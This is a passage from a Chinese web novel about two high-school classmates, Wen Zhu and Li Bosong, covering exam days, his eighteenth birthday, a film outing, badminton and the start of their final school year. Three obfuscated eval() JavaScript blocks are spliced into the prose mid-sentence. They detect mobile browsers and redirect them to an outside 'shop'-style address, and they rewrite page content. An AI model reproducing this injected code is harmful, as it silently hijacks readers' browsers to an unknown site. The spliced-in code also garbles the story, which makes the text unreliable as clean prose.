骤雨来得快,凶了一会儿就变小了很多。李泊松转身拉开门,过了一会儿拎了两杯热橙汁出来,闻竹接过,垂着眸子说了声谢谢,两个人踏入水坑遍地的砖石路。 李泊松说:“我下周要去宁城一趟,请了几天假,然后……”他忽然笑了,语气轻快起来,“然后考不了试了。” “啊?”闻竹猜到他回去大概是和他爸爸有关,但没多问。他语气轻松,闻竹也被他传染了笑意,眼睛睁大了些:“好吧,岩姐会很伤心。” “陈老师会很开心吗?”他开玩笑。 “喂,别这么说,”闻竹看他,认真道:“你的语文成绩进步很大啊,你没感觉到吗?” “唔,好像是。” 他们两个并肩走,小雨滴落在红色砖石路面的声音变得几不可闻,空气中有清新的泥土味道。暑热早已被冲刷得干干净净,天地澄澈。 闻竹听到他笑了声,笑完之后他又逗闻竹:“你呢,你会觉得开心吗?” “少来了,你又不会影响我。”闻竹丝毫不受他蛊惑,语气坚定:“我这次复习得很好,没准能超过你。” 她的眼神中露出了李泊松非常欣赏的那种攻击性,自信又闪耀。 闻竹问他:“那你什么时候回来?生日之后?” “生日当天吧,”李泊松顿了顿,才问:“你还愿意给我过生日吗?” “当然。” 李泊松感受着微茫的日光,用胳膊轻轻碰了下旁边人:“彩虹。” 32. 两座孤岛 高三的毕业典礼颇为壮观,毕雨泽和路一杭去帮学生会朋友的忙,在主席台忙前忙后地搬东西,闻竹和曲思嘉在课间跑去围观了一会儿。 大家穿着统一的服装站在主席台下,台上依然是领导发言,闻竹平时听这些东西都昏昏欲睡,今天却忽然有些感慨。他们三个在大梁的办公室被训话仿佛在昨天,那个时候百日誓师才过去三天而已。 毕业典礼之后各个班在操场照毕业照,曲思嘉拉着闻竹的防晒衣袖子,要她在明年的今天把相机带来,闻竹心说还有一年呢怎么这么急。她反手拍了拍闻竹,闻竹笑着应了,潜意识里觉得这一年会非常快。 午休的时候他们趴在窗边看着卷子从高三楼的各个窗口飞出来,大家狂欢够了,又跑去楼下收拾,过了一会儿,闻竹听见他们这边传出喊楼的声音。 这边喊高考加油,那边喊高三加油,闻竹把漫天卷子的照片拍下来发给李泊松,毕雨泽和路一杭在身后出现,她们两个回头,惊讶地哎了一声。 “你们俩去当苦力了啊,搞得满头大汗的。” 曲思嘉翻找一会儿,在兜里翻出一包纸巾递过去。两人得了纸巾就回班级喝水去了,路一杭说:“曲思嘉,我物理卷子是不是在你那儿。” 这话像是问句却又不是,思嘉捂嘴“哦”了声,“你稍等,我去拿。” 她和闻竹说回班一趟,闻竹点头。在等待对面回消息的时候重新扎了一下头发,手机的屏幕忽然亮起来,微信一连串弹出好几条消息。 李泊松表达了一些对他们的想念,闻竹觉得这是废话,没多看。她问他这几天都做了什么,李泊松如实答了,又说自己情绪没问题,让她别担心。 【一支竹子:我没担心啊。】 【L:嗯嗯好的,是我想太多了。】 【一支竹子:?】 大概是为了证明自己的心情没问题,他还给闻竹发了一张图片,文字是:偶遇了数学题。 闻竹放大那张图片,发现是一只鸡和一只兔子在同一个笼子,背景是路边。大概是他走过这条路随手拍下的。 正无语着,新的消息出现在视线里。 【L:你小时候还因为这个哭过鼻子。】 闻竹苦思冥想也不记得有这回事,难道她以前是做不出题哭鼻子的小孩? 【一支竹子:嗯???】 【L:嗯,你忘了?一年级的时候,你在做题的时候突然大哭,问我为什么要把小鸡和小兔子关起来,是不是要把它们杀掉。】 又傻又可爱的小女孩……闻竹难得笑弯了眼睛,竟然觉得不太像她。 不过记忆的确被这寥寥几句话唤醒了,那个时候的李泊松在她眼里的形象和现在不太一样,会和她拌嘴,但大多数时候都像哥哥。他说题目是假的,没有人会杀掉小鸡和小兔子。 【一支竹子:你好无聊……】 隔着屏幕聊天,两人都看不到彼此的表情,心理上的连接少了很多。消息发过去之后,闻竹觉得自己这个回复有些冷淡。其实她心里想的是,如果可以的话,她希望他们一直有话说,一直可以和对方分享自己的独家童年记忆。 李泊松足够了解她,他大多数时候把闻竹的“冷言冷语”当成不好意思之后故作严肃的掩饰,而事实的确如此。 “跟谁聊天呢这么高兴。”曲思嘉从后边揽住她的肩膀,语气异常惊讶。闻竹是情绪不太外显的人,看她对着手机笑真的有些奇怪。 “嗯?”闻竹心想她笑了吗,自己完全没意识,她诚实道:“李泊松。” 曲思嘉不意外地点头:“他请了几天假?” “四天还是五天吧,我也记不清了。”李泊松这次去宁城想顺便把学籍和学业考试相关的事情都搞定,手续繁琐,他说八号回,那就是能回来。 闻竹说她给李泊松发了毕业典礼和喊楼的照片,给曲思嘉看了他分享的“鸡兔同笼”数学题。曲思嘉笑笑,明亮有神的眼睛里露出一丝狡黠:“你也把拍的照片发给他了啊,怎么还说他无聊?” 听到这话的时候闻竹正把手机放回兜里,手机从她手里滑出。 “唉,”曲思嘉仔细观察了她一会儿,而后装模作样地叹了口气,声音不大语气却很夸张:“嗑到了!” 闻竹没太在意这句玩笑话,她先是笑,而后没好气地说:“磕到哪了?” 得到了曲思嘉“没有浪漫细胞”的埋怨。 她们两个闹了一会儿,上课铃响了,大家纷纷回到班级,周围的嘈杂声随着金属质感的铃声渐渐弱下去,在铃声停下来后,教室里彻底安静下来。 - 李泊松的生日在六月八号,历年高考的第二天。 零点刚到,群里就叮叮咚咚地响起微信的提示音,他们的群里在发着李泊松的生日祝福,闻竹看到了李泊松的回复,戳进了他们两个的对话框祝他生日快乐。 十八岁了,她想。 七号一整天都是晴朗天气,难得微风和煦,让人心情很好。八号上午天气有些阴了,到了下午英语考试刚开始的时候,酝酿多时的大雨终于落下。 高考假就三天,期末考试就从考物化生单科变成考理综了,闻竹这几个月做了不少理综卷子,成绩也很好,但她自己清楚,她在理综上没有其他尖子生那么得心应手,不占优势。虽然没和别人说过什么,但其实她心里很紧张。 四季学府和一中的距离太近,考场开着屏蔽器,导致她在家里根本用不了网络,一个人在家仿佛住在与世隔绝的孤岛。 她在“孤岛”安心地写了大半天的卷子,到了傍晚才在雨后走到空气清新的室外去吃饭。 在屏蔽器的作用消失后,她收到了李泊松的消息。 他说已经出站了,正乘电梯下去坐地铁。 高铁上的信号也很差,李泊松说自己发的消息很久都过不去,弹窗里有好几条消息发送失败的提示。 他们两个竟然一同经历了“孤岛时刻”。 明明是很简单的一件事,闻竹却有种冥冥之中心有灵犀的奇怪感觉。 【一支竹子:断网的时候你在做什么?】 【L:听歌和睡觉。】 【L:你在四季学府吧,是不是一整天都没能连上网?都做什么了?】 【一支竹子:做题,看书。】 【一支竹子:我猜到凶手是谁了。】 【L:哦,原来看的是推理小说。】 【L:猜对了么?】 【一支竹子:还不知道,明天再告诉你。】 下车的时候李泊松看到了站台的日落,还有小半个太阳在地平线以上,千里斜阳暮。他出了高铁站就直接坐电梯下去乘地铁。看不到日落的时候想到了日落,在地铁上,他发微信问闻竹外面天黑了吗。 闻竹回他:还没有。 不过他从地铁口出来的时候没有捕捉到一丝一毫的日落景象,街边的路灯一盏盏的亮起,光洒在他的黑发上。他意识到自己的头发长了些,决定明天增加剪头发这个活动。闻竹的电话在他做完决定后打进来。 十几分钟后,闻竹在滨海北路岔口的麦当劳看到了李泊松。路途不远,他没有提着行李箱,而是背了个很大的包。虽然脸上没什么疲色,却依旧因为旅途显得风尘仆仆。然后他抬头,在灯光下对上闻竹的眼睛。 明亮的夜晚,明亮的眼睛。 闻竹也是刚到,正在小程序上点单,她在手机上划拉了一会儿,之后把手机递给李泊松。 李泊松先把包放在地上,而后到卫生间洗了手后才在她对面坐下。他低头扯了下自己身上的半袖,皱了下鼻子。闻竹捕捉到了这个小动作,撑着下巴大大方方地盯着他看。 “生日快乐。”她先开口。 对面的男生笑笑,对她说“谢谢”。“我身上有没有什么味道?” 以前没觉得闻竹对味道敏感,经历过上次被她扯着袖子告诫吸烟有害的时候,李泊松算是明白了。将近三个小时的高铁,半小时的地铁,来来往往擦肩而过的无数陌生人,还有他自己出的汗。 好像在出来之前先洗个澡才算礼貌。 “没有啊,”闻竹侧着脑袋看他,“挺好的。” 闻竹本想在小区附近随便找家饭点吃完饭,但是她出门的时候一中附近还有一小部分刚散的高考生,他们有的自己插着耳机,有的被父母接走,有的和朋友们勾肩搭背朝着滨海北路的方向走去。 她忽地改变了主意,也跟在他们身后走。 闻竹没有戴耳机,走在一群高考生中间,安安静静地听他们聊天。没有人聊高考的卷子,大家聊的是假期的计划、想去旅行的城市,还有“你是我最好的朋友”……< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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她不知道李泊松是不是真的没吃蛋糕,他的语气很轻松,可能是吃了故意逗她,也有可能根本就没有吃,但就算是后者,他也不会沮丧和生气,他的反应会和刚刚一模一样——故作可怜地讲出一个事实,然后一笑而过,并不十分在意。 闻竹觉得自己有点困了,她偏过脸去捂嘴打了个哈欠。 李泊松眼睛睁大了些,看到了闻竹因为困产生的生理性眼泪。 “……和我在一起这么无聊吗?” 困意上涌,脑子转得比平时慢很多,闻竹半点哄着他说话的意思都没有,还“嗯”了一声。 “我昨天睡得晚。” “为什么?”李泊松纳罕,“你不是从不失眠吗?” 闻竹眨掉眼角的泪,把对方之前帮她找过的理由还回去了:“春困吧。” “你认真点啊,”他笑得很没办法,“芒种都过了。” “是吗?好吧。”这下子闻竹懒得再找理由了。 顺着这条环海公路一直往上走,就能和临城最美的那片海相遇。顺着它往下走,没几步就能拐进一片民宿和居民区。 下午的雨不大,时间还短,在炎热的六月里,那点雨的痕迹很快就消失不见了。李泊松看着地面,算了一下走路回去需要的时间,拉着困迷糊的人挤上了末班公交。 这车几乎连个落脚的地方都没有了,李泊松的意思原本是早点回家,闻竹能早点回去睡觉,然而她在这站了一会儿,已经不困了。 好在只需要坐一站。李泊松护着她下了车,没几分钟两人就拐到了一家连锁蛋糕店门口,闻竹让他在门口稍等一会儿,她掀开门帘进了店门,两分钟后拎着一个蛋糕出来。 她的手指勾着蛋糕的袋子,又把袋子缠到李泊松的手上。 “我……你……” 李泊松虽然不像闻竹一样能给人留下口才很好的印象,但他说话有条有理,也是一直收放自如,这种样子连闻竹都不常见。 她挑了下眉。 “你别太感动,你不会要哭吧……” “谢谢,”他嘴笨起来,“要不要一起吃?” 短短几个数的时候,李泊松心念电转。他想着这么晚了,说去他家吃不太好,说去闻竹家吃也不好,她妈妈或许在家,大概已经睡了。 他在脑海中飞速预设了几个方案,然后逐个pass掉。闻竹好像看出了他的纠结,拍了下他的小臂。 “我不吃,”闻竹吐字有些含糊,“我都困死了。” 她站在门口,店家招牌上的LED灯光把她的脸映照得很清晰。 李泊松“哦”了声。 闻竹又说:“你明天要告诉我好不好吃。” “好。” 他的声音很轻,像是怕惊扰这温柔的夏夜。 周围太安静,以至于他清晰地听到了自己胸腔里心脏跳动的声音。砰砰,砰砰,频率像极了闻竹最爱的那首歌的鼓点。 33. 直球选手 九号是考试的最后一天,不过大多数考生已经在八号的五点钟结束了自己的高考旅途。已经快到盛夏时节了,雨后初晴,天气却显现出一种意外的静谧和清爽,非常宜人。 李泊松遵守约定给闻竹发了微信,告诉她自己很喜欢吃昨天的蛋糕。闻竹简单地回了一句话,就把手机扣过去接着写卷子了。 一道立体几何大题,一共三小问,她做完了第二问之后就没忍住去看李泊松回了什么,然而那边只回了一个常用的表情包。 “……” 闻竹退出对话框,给闻灿发了两条消息,初中不放假,这个点她在上课,没空看手机。 因为觉得今天状态不是很好,闻竹有些懒得去刻意调整状态。她决定给自己真正地放一天假,躺在摇椅上漫无目的地思考时忽然想去看电影。最近的院线难得有很多都是她感兴趣的,这么想着,她火速打开影城的小程序,简单地计算了一下时间,买了两张票,间隔二十分钟。 闻竹看电影不喜欢约人,比起和朋友家人一起,她更喜欢自己做这件事情。在她眼里电影是属于大银幕的艺术,有没有人在身边并不重要。 这个躺椅是陈女士刚买回家的,舒服得躺上去两分钟就能睡着。她正昏昏欲睡,门就被敲响了。 谁啊…… 闻竹从椅子上起身,又匆忙照了下镜子,自己这副样子实在有些潦草,却又不能放着门铃不管,于是只迷迷糊糊地用手抓了下了事。 在门镜往外看去,发现来人竟然是李泊松。 真是奇了。 她开了门,人往门框一靠,惊讶道:“你怎么来了?” 门口的人也惊讶:“你在睡觉?” “……”闻竹被这么一问,倒是很纳闷:“现在是我的午睡时间。” 他笑:“吃饭了吗?” 闻竹没忍住偏头打了个短暂的哈欠,困得眼泪都出来了:“还没有。” 李泊松毫不意外,甚至还有些高兴。他把手里的袋子递给闻竹:“那太好了,给你带了芝士焗香芋。” 闻竹:“什么鱼?” “……你睡醒了吗?” “哦!”她反应过来了,甚至被甜品的味道勾走了大部分睡意,“香芋。” 让人家站在门口可不是待客之道。 她往旁边让了让:“进来。” 这时楼道里正巧有个女生背着书包上楼,和他们是一届的学生。见到闻竹家门开着,和她打了招呼。 虽然今天有些不修边幅,但该打招呼还是得打,她笑笑:“回来啦?” “嗯,”女生也笑,“上课刚回来。” 她走上去几级台阶后回了下头,闻竹看到了。李泊松说不进门了:“我就是来给你送这个的,这就打球去了。” 闻竹后退了半步,看了眼窗外热烈晃眼的阳光:“去哪儿啊?太阳这么大,不怕晒啊?” “球馆里,没事。” 他人都走下两层台阶了,闻竹又叫住他。 “无事献殷勤,总感觉不对……你有什么要我帮忙的吗?” 李泊松只好叹气,他觉得好吃就买了,哪儿想那么多。他张了张嘴,随口道:“谢谢你上次帮我写检讨。” “哦,拜拜。” “你下午做什么?”李泊松问。 闻竹按亮手机,上面正好是刚刚的订单界面,她给李泊松看屏幕:“看电影。” “晚上出来玩?”闻竹靠回了门框。 “玩什么?”他笑。 “没想好。” “行啊,”这么潦草的邀约,他想都没想就答应了,“晚上联系。” - 闻竹改不了卡点到的“陋习”,在距离电影开场还有三分钟时到了自助取票口取票。 两张票从出口蹦出来,她把手探进去,兜里的手机忽然响了。 ——是李泊松的消息,他问闻竹晚上要不要出来打球。 她在影城的白炽灯光下找到了第一场的票,边走向入口边回复消息。 【一支竹子:我不喜欢打篮球。】 李泊松大概是在等着她的消息,因此回答得很快。 【L:羽毛球。】 【L:或者你想做什么,听你的。】 【一支竹子:那就羽毛球。】 【一支竹子:在哪儿见?】 【L:我去找你。】 【一支竹子:你知道我在哪?】 【L:嗯,看订单的时候看到了。】 闻竹看着工作人员撕掉她递过去的影票副券,心情愉悦地把手机收回了包里。 六点过七分的时候,她走出放映厅,看到了手机上有一个来自李泊松的未接来电,时间是两分钟前。 闻竹回拨过去:“喂?” “嗯,”李泊松好像是凑在听筒边说话的,他的声音离闻竹的耳朵很近,还带着点轻微的喘:“看完电影了?” “看完了,刚进电梯,”她问,“你还在打球吗?在哪儿呢?” “我啊,”通话那端的人笑笑,卖了个关子,“我在离你很近的地方。” 闻竹感觉到他的声音变小了,可能改变了接电话的姿势?那边篮球拍打在地上的声音清晰可闻,球场上的活跃气氛钻进了她的耳朵里。 “离我很近的地方?”闻竹喃喃地重复了一遍,迈步走出商场的大门,她回头看了眼自己头顶的牌子,指示的是5号门。刚准备低头发消息,忽然意识到再往那边走一段距离就是商场门口只有两个篮球架的小球场。 在那个瞬间,闻竹福至心灵地转身,正好和李泊松打个照面。 他竟然还换了身衣服,是再简单不过的白T恤和运动短裤。他头发好像有些长了,还特意戴了个运动发带。 闻竹可以非常慷慨地给这种穿搭取个名字——学习途中下楼买雪糕穿搭,早市买早餐穿搭等等。不过李泊松本人倒是帅得半点不随意。 闻竹以前听过一个说法,说当你和一个人认识很久时你会忽略这个人的长相。她反思了一下自己,觉得这个定律在最近几天之前都成立。但不知道是被什么洗脑了,她最近频繁地get到李泊松的长相。 “我刚跑过来和你打招呼,你就把头转过去了,什么意思啊?” 他挑了下眉,开口先发制人。 闻竹轻松接招:“哦,我刚拿出手机,你就出现了,什么意思啊?” 一比一平。 李泊松单方面宣布休战,他走到闻竹身边,问她想吃什么。 闻竹从头到脚看了他一眼,答非所问道:“不是说去体育馆打球,怎么来这了?还换了身衣服?” “在馆里打了一个多小时,之后回家冲澡、写卷子。这不是来找你吗,就又在这边玩了会儿。” 闻竹心说,原来这个发带的作用是凹造型? 他们两个走出去几步,闻竹听到有声音在后边喊李泊松的名字,他回头,远远地打了个招呼。 闻竹把头转过来,问道:“诶,你朋友?” 李泊松想了想:“刚才打球认识的,这算朋友吗?” 闻竹被他这句话逗笑了,看到闻竹笑,李泊松也笑。两个人都不好说自己在笑些什么。 流了一下午汗,发自内心地笑了半分钟,李泊松感受到了释放的多巴胺,整个人的情绪状态好了很多。果然运动是良方,朋友是良药。 李泊 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13117480|137974||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 松喜欢尝试各种不同的店,各种花样的美食,闻竹却是那种遇到了喜欢的就不想放弃,频繁点同样食物的人。前段时间她发现小区门口新开的那家对夹店的招牌馄饨很好吃,于是连着吃了半个月的馄饨当做早餐。 她还没吃腻,李泊松就已经看腻了。 在站到这家两人都没去过的餐厅门口时,闻竹的表情非常冷淡。 李泊松推了推她,好笑道:“万一好吃呢?你不要这种‘视死如归’的表情好不好?” “我哪有。”闻竹懒得理他。 “你为什么不愿意尝试新的店?” “我不是不愿意尝试新的店,”她反驳:“我只是更喜欢吃原本就爱吃的。” “好吧,”李泊松听话地改口:“所以是为什么?” “更保险啊。如果不做改变,我吃到自己喜欢吃的东西的概率是百分百,如果做出改变,”闻竹看着门口的招牌,“这个概率就变成了百分之五十。” “被你做成了硬币两面的问题了,”他单手打开手机上划拉了几下给闻竹看,“这家店评分还挺高的,尝试一下。” 闻竹看他,表情没有松动。李泊松笑:“体验的过程本身就挺好的。” - 吃完饭后,闻竹没说什么,李泊松根据她的表情判断,觉得她还是挺满意的,于是他颇得寸进尺,和闻竹提出要走到球馆,顺便消食。 听了这话,闻竹甚至停下了步子,皱眉看他:“你不累吗?”看到李泊松有点惊讶的样子,她有点想笑:“打了一天球,换了两个地方,还要走差不多一千五百米,你不累啊?” 李泊松确实很惊讶,他以为闻竹会因为她自己嫌累抗议。 闻竹:“当然了,我也走不动,太累了,我看电影看得伤筋动骨。” “哦,”李泊松抬眉,配合道:“伤筋动骨……哪根筋哪块骨?” “……”这距离其实不算远,闻竹笑了下:“你真的要走过去?” “都行,听你的。”李泊松指了下即便是周末晚高峰也依然水泄不通的商圈大道,又提了个方案:“去坐地铁?” 这商场很大,地铁站得绕到他们所在这个门的斜对角。 当另一个选择更让人不满意的时候,人们就会倾向于自己原本的那个还可以的选择。闻竹当机立断:“走着吧,天气挺舒服的。” - 两个人来来回回打了一个多小时的羽毛球,隔壁的篮球场上有他们两个的熟人。闻竹额角出了汗,她听声音没判断出是谁,擦完汗看了眼才发现是程栩。互相打了个招呼之后,程栩看起来想和他们聊几句,但那边有人叫他,他就先过去了。 李泊松在服务台买了两瓶水,把闻竹那瓶拧开递给她。闻竹习惯性地接过,刚准备喝,就听到男生凑近了些,眼神却盯着自己拧水瓶的动作,没有看她。 他笑了下:“你是不是以为我戴这个发带是为了好看?” 闻竹:“……” 这么直截了当地被他说出来,闻竹总觉得这人没安好心。 他说:“其实挺管用的。” 闻竹仔细端详了一下他的样子,忽然听到这人问:“你和程栩很熟?” 闻竹不知道他怎么突然问这个,喝了口水之后随口答:“初三那年他转学到我们班,我们做过一段时间同桌。” 念过中学的都知道,同桌是最能培养感情的关系了。李泊松不咸不淡地“哦”了声,觉得和闻竹这种性格的人迂回没有用,不如直截了当点。 于是他问:“他喜欢你?” 闻竹喝着水差点被呛到,她偏头咳了两下,眼瞳在灯光下亮晶晶的。 “啊?我……他……?” 34. 夏至已至 “你结巴什么?”李泊松垂着眸子看她,眼神带了点审视和探究的意味,他想隐藏这种探究,但是无果。 闻竹彻底惊讶于李泊松的脑回路,她抽出一张新的纸巾擦了下手,“他看见你才过来,”闻竹的眼神无辜,嘴角的弧度向下:“你怎么不说他喜欢你?” 这个玩笑冷得让刚运动完的人一激灵,李泊松偏头看她,觉得他们两个刚才的两句话拥有势均力敌的效果。 “……”虽然这个问题看起来很棘手,但李泊松和闻竹相处这么多年,自有一套接她话的技巧。 “明明是我在问你,你怎么话题抛回给我了,”他挑眉,语气没什么波澜:“你不想说?” “我有什么不想说的。”闻竹轻嗤。 无聊的激将法,无聊的人才上当,但李泊松问了,她就想解释,这该死的程序设定一样的习惯。 “我们是朋友,程栩人挺好的……他去年和我告过白,我拒绝了,就这样。” 闻竹说这话的时候有种落落大方的自然,没有炫耀没有不好意思,李泊松点点头,早就猜到了。程栩人不在,她还要给人发好人卡。这个念头转瞬即逝,以他对闻竹的了解,她是根本没那个心思,半点暧昧都不掺。 闻竹偏头去看李泊松,他半低着头,柔软的发丝轻轻垂着,不知道是不是她的错觉,总觉得那颗泪痣更明显了。 “程栩总找你做什么,追星似的,让你进校篮?” “你知道啊?” 闻竹“嗯”了声:“他这几次和我说话都是为了这事,怎么这么执着?” 李泊松看她:“因为我打得好。” 闻竹:“……” 他好像永远能从和闻竹拌嘴中得到快乐,明明平时的风格和高调半点不搭边,在闻竹这就会持续孔雀开屏。 以前李泊松觉得这是莫名其妙的胜负欲,直到前几天他才终于明白,这是在喜欢的人面前的一种奇怪的机制,想被注意,想得到青睐。 闻竹根本不知道李泊松在想什么,她心里只是想,程栩这精神还挺“赤木刚宪”,这都没感动李泊松吗? 不像李泊松的性格啊。 “我这个伤,强度太大的训练不太行。”他看出了闻竹在想什么,淡淡地解释道:“如果我去了,我是希望自己能做得特别好的。” 这话他没对程栩说过,但莫名的,和闻竹就可以说,而且十分自然。 原来是这样。 她几不可察地皱眉,眼睛里流露出明显的关心,手指在自己的锁骨上比划了一下:“那你以后呢,这里……会一直影响你么?” “不会,”李泊松看起来倒是并不在意,还有心情开玩笑:“毕竟时间可以解决一切问题嘛。” 没等闻竹多想,他把羽毛球单手抛起,又接在另一只手里,问她:“歇过来了吗,再打一会儿?” 闻竹好歹是能在运动会拿好名次的人,虽说体力不如李泊松,但也说不上差。她利索地翻身起来,从李泊松手里拿过一只球拍,喊他:“来!” - 高考假期结束后,大家返回校园,少了一个年级,总觉得学校变了不少。 假期前大家的很多东西都被带回了家,因此搬楼变得容易了些。闻竹收拾了一下,发现自己的算不上多,但比较零碎,大概率要搬两趟。她在视线里搜查曲思嘉的身影,才发现她人已经快被柜子里的东西埋进去了。 “……思嘉?” 曲思嘉要搬走的行李包括但不限于厚外套、午睡枕、毯子,这些东西被闻竹帮忙打包起来,又装进了班级刚刚淘汰的一个矿泉水空箱子里。两人对着这些东西愁了一会儿,李泊松看到后走了过来。 “把箱子给我吧。” 闻竹抬头说不用,大家都有自己的东西,她们也不是拿不动,不需要帮忙。 李泊松无奈了两秒钟,看了一眼箱子里边的东西,退一步地讲:“我这些零碎的东西也没地方放,放在这里边好吗?” 他看到闻竹和曲思嘉点了头,弯腰把箱子搬起来。 “谢了,那我帮你们把箱子搬过去。”他歪了下头当做打招呼,“走了啊。” 曲思嘉说谢谢,闻竹弯了下眼睛,盯着他的背影看了一会儿才移开视线。 “哎竹子,你真没觉得他挺帅的吗?” “嗯?”听了曲思嘉这话,闻竹心里一跳,毕竟两个月前信誓旦旦地说“没有”的就是她本人,她只好沉默。 “你这审美还得培养,”曲思嘉皱眉,“这样吧,这周末陪我去漫展?” “……原来是在这等着我呢。”闻竹笑她:“当然没问题,这么点事你还绕这么大个弯子。” “哎,说话拐几个弯,给无聊的高三加点料嘛。”曲思嘉刚说话就感叹似的道:“高三了,真快啊,你知道吗,我有的时候会觉得看甄嬛 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13151071|137974||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 传还是前几天的事,其实已经是小学了。” 对于一维时间的流速,闻竹偶尔也会有点感慨,但她大多数时候感知不到这么细腻的情绪,因而她说:“你想看吗,中午吃饭的时候我就可以陪你看。” “……”曲思嘉有些被她可爱到,拍了下自己的额头,问:“我们去趟超市吧?” 闻竹说“好”。 此时她们两个正好走到楼下,在这个日照极强的时节,花花草草也生机勃勃,天是湛蓝的,万里无云。 一年三百六十五天,在时间维度上并不短,匆忙美好的日子循环往复,他们现在要一起去旧起点开启新生活。 在歪头的瞬间,闻竹无意地看到了抬手开窗的李泊松。 李泊松这人开窗一点儿都不专注,在她刚想移开视线的时候就看了过来,然后像小学生一样打招呼,说“嗨”。 闻竹也说“嗨”。她觉得这人速度蛮快的,这会儿已经把东西搬完了。 毕雨泽这会儿也凑到了窗边,于是闻竹和曲思嘉绕过楼前的花坛走过去。 他们两个站的地方是三班新教室后排的最后一个窗边,闻竹微眯了下眼睛朝里看了下,又抬头问李泊松:“你还要坐在这吗,”她指着最后一排靠窗的位子扬了扬下巴,“这个‘王的故乡’?” 李泊松显然也记得这个梗,他摇头:“不要,我要做你同桌。” 闻竹在听到这句话的尾音时抬头,正对上男生阳光下透亮的瞳孔。 “所以你能不能给你的同桌带一罐可乐回来?” “哦,这是见面礼?”闻竹没说帮还是不帮,反而问他:“我为什么要去,有什么好处吗?” 就算是和李泊松,闻竹开玩笑的时候也不多,幽默细胞都用在了讲冷笑话上。李泊松还真的认真想了一会儿:“好处就是拥有一个像我一样的同桌?” 他说完之后自己都被自己逗笑了,语气软下来:“谢谢你了,闻竹。” “……行行行。” 闻竹能说什么,她只能答应了。 在他们两个聊天的这会儿工夫,毕雨泽和曲思嘉也在说,他们两人都是有些神经大条的人,对他们两个的聊天内容没有十分在意。 闻竹不再仰着头了,她看到自己视线里的窗台上出现了一盆开得很好的水培绿萝,在温暖的阳光下舒展着自己的枝条。 他们的高三,提前到这一刻开始。 35. 高三日记 闻竹把昨天当作是升入高三的第一天,然而第二天,作为新的高三生,她险些错过了上学。 她睡眠质量非常好,没有入睡困难的问题,失眠这种事像是这辈子都不会发生在她身上,闻竹的技能是沾枕头就能睡着。在紧张且高压的高中生活里,拥有这样的休息是非常难得的。 不过,这大概是个双刃剑,她早上起床非常困难,最少需要两个闹钟,少一个都不能保证准时到达教室。 端午假调一天休,今天上学,工作日固定的闹钟却没响,闻竹昨晚也忘记了订第二个闹钟。在这些意外情况的加持下,她睁开眼睛时距离到校时间还有不到二十分钟。 原本还睡眼惺忪的人,这会儿忽然被吓醒了,鲤鱼打挺一样从床上弹起来,咬着发圈冲进卫生间。 这会儿是彻底连吃面包的时间都没有了。闻竹一边庆幸着夏天衣服穿得少,一边对着镜子刷牙。为了避免忙中出错,她出门时还特意检查了自己的袜子和鞋是不是成双的。 飞奔下楼梯的时候才得空摸出手机看了眼时间,正好六点五十分。 打开单元门,好似忽然在暗室里开了个口子,满世界的盎然绿意都扑面而来。晨曦不知道她着急,轻柔地勾勒她的脸庞和发丝。闻竹转身关上那扇厚重的铁门,一眼就看到了穿着一身整齐夏季校服站在树下的李泊松。 闻竹看到他的时候他正抬起胳膊看表,他做这个动作的时候竟然还有点莫名其妙地闲适和优雅,不符合看表该有的心情。好像这边已经火烧眉毛了,他还在那岁月静好一般。 闻竹有时候觉得李泊松身上不可复制的特点有两个,一个是他孔雀开屏却不惹人烦的本事,一个就是这随时随地能表演的松弛。 “……你表坏了?” 起了个大早,李泊松也不算多清醒,听了这话反应了好几秒才明白闻竹在说什么,然后被气笑了。 “没有。”他打量了一下闻竹,发现她头发是拢起来的,而不是梳,校服衣领的一角没有翻出来。 这绝对是起晚了。 他上前几步,想帮她把衣领翻出来,伸手却又马上撤回去了,他提醒闻竹,闻竹“哦”了声,动作匆忙地扯出了领子。 “你不怕我请假啊。” 李泊松闻言笑了:“应该不会吧,你好像没有请假忘记告诉我的时候,所以我多等一会儿。”他不太在意似的说,“从这到班级,六七分钟够了。” 闻竹顿了顿,去看他表上的时间,在她凑过去的瞬间从6:51转到了6:52。 她扯了下李泊松的袖子,李泊松明白这个意思,两人一起朝学校一路跑过去。 李泊松体力和耐力都好,在长跑上甚至比短跑更加有优势,篮球打到下半场也不吃力。闻竹也能跑能跳,但如果说背着包从家里跑到教室还能脸不红气不喘,还是多少有些难为她。 李泊松先进教室一步,闻竹和他前后脚,在他身后扶着门框喘气,李泊松也没回座位,就站在门口等她。闻竹喘气的时候瞥了眼讲台,岩姐还没到。 距离早自习还有大概半分钟。 路一杭的声音从他们身后传来:“你们两个起晚了吧。” 在闻竹转头的工夫,路一杭从她身边飘过去,还提醒他们两个赶紧回到座位,要准备考试了。 “考什么卷子?” 闻竹匆忙坐下,简单收拾了一下书桌,拿出笔和验算纸。孟丽岩踩着高跟鞋走上讲台。李泊松提醒她:“昨天放学说的,化学晚课的周测挪到今早考……你还没睡醒啊,要不要去洗把脸?” “早就吓醒了”她往讲台上瞥了眼,接过前桌递过来的卷子,小声和李泊松说:“不去,好好做题。” 